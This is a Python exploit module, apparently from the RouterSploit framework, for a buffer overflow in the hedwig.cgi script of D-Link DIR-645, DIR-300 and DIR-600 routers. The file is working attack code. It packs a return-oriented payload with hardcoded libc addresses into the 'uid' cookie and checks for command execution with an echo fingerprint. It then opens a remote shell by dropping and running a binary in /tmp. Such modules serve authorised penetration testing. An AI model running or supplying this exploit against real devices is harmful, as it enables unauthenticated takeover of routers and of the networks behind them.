import struct
from routersploit import (
    exploits,
    print_error,
    print_success,
    print_status,
    random_text,
    http_request,
    mute,
    validators,
    shell,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation of DLINK Hedwig Buffer Overflow, allows command execution on devices without authentication. It overflows the cookie
    uid value of hedwig.cgi.
    """
    __info__ = {
        'name': 'D-LINK Hedwig CGI RCE',
        'description': 'Module exploits an buffer overflow that leads to remote code execution',

        'authors': ['Austin <github.com/realoriginal>'],  # routersploit module
        'references': [
                'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008',
                'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000',
                'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt',
                'https://www.exploit-db.com/exploits/27283/'
        ],
        'devices': [
            'DIR-645 Ver 1.03',
            'DIR-300 Ver 2.14',
            'DIR-600'  # tested on DIR-600 Ver 2.12
        ],
    }

    target = exploits.Option('', 'Target address e.g http://192.168.1.1', validators=validators.url)  # target address
    port = exploits.Option(80, 'Target port', validators=validators.integer)  # default port

    def run(self):
        if self.check():
            print_success("Target is vulnerable!")
            print_status("Invoking command loop...")
            shell(self, architecture="mipsle", method="echo", location="/tmp",
                  echo_options={"prefix": "\\\\x"}, exec_binary="chmod 777 {0} && {0} && rm {0}")
        else:
            print_error("Target is not vulnerable")

    def execute(self, cmd):
        libcbase = 0x2aaf8000
        system = 0x000531FF
        calcsystem = 0x000158C8
        callsystem = 0x000159CC
        shellcode = random_text(973)
        shellcode += struct.pack("<I", libcbase + system)
        shellcode += random_text(16)
        shellcode += struct.pack("<I", libcbase + callsystem)
        shellcode += random_text(12)
        shellcode += struct.pack("<I", libcbase + calcsystem)
        shellcode += random_text(16)
        shellcode += cmd
        url = "{}:{}/hedwig.cgi".format(self.target, self.port)
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        cookies = {'uid': shellcode}
        data = random_text(7) + "=" + random_text(7)
        response = http_request(method="POST", url=url, headers=headers, data=data, cookies=cookies)
        if response is None:
            return ""
        return response.text[response.text.find("</hedwig>") + len("</hedwig>"):].strip()

    @mute
    def check(self):
        fingerprint = random_text(10)
        cmd = "echo {}".format(fingerprint)

        response = self.execute(cmd)

        if fingerprint in response:
            return True
        return False
